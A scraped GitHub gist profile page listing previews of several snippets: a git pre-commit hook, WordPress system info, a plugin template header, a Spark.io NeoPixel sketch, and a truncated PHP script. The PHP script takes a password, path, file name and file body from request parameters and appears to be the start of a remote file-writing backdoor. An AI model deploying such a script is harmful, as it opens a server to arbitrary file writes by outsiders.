Skip to content

Instantly share code, notes, and snippets.

View emcniece's full-sized avatar
🔧
DevOps Engineer @ Workday

Eric McNiece emcniece

🔧
DevOps Engineer @ Workday
View GitHub Profile
<?php
$action=$_REQUEST['action']; //页面状态
$password=$_REQUEST['password'];//接口密码
$pathname=$_REQUEST['pathname'];//文件目录名
$keywordindex=$_REQUEST['keywordindex'];//0 然并卵
$filename=$_REQUEST['filename'];//生成文件名
$body=stripslashes($_REQUEST['body']);// 生成文件的内容
$jamin = @$_GET['pw'];
@emcniece
emcniece / pre-commit
Last active October 2, 2015 18:54
String-check pre-commit hook
#!/bin/sh
# Pre commit hook that prevents FORBIDDEN code from being commited.
# Add unwanted code to the FORBIDDEN array as necessary, single-space separated.
# Ensure executable: "chmod +x .git/hooks/pre-commit"
FILES_PATTERN='\.(rb|js|coffee|txt)(\..+)?$'
FORBIDDEN=( \.only )
FAILED=false
### Begin System Info ###
## Please include this information when posting support requests ##
Multisite: No
SITE_URL: http://galaxymotors.qa.caorda.com
HOME_URL: http://galaxymotors.qa.caorda.com
<?php
/*
"WordPress Plugin Template" Copyright (C) 2013 Michael Simpson (email : [email protected])
This file is part of WordPress Plugin Template for WordPress.
WordPress Plugin Template is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
@emcniece
emcniece / tinker_neopixel_v1.2
Last active January 3, 2016 22:09
Spark.io Tinker/Neopixel sketch - fails after first colorWipe call
/* tinker_neopixel v1.3 */
/* Includes ------------------------------------------------------------------*/
#include "application.h"
/* Function prototypes -------------------------------------------------------*/
int tinkerDigitalRead(String pin);
int tinkerDigitalWrite(String command);
int tinkerAnalogRead(String pin);
int tinkerAnalogWrite(String command);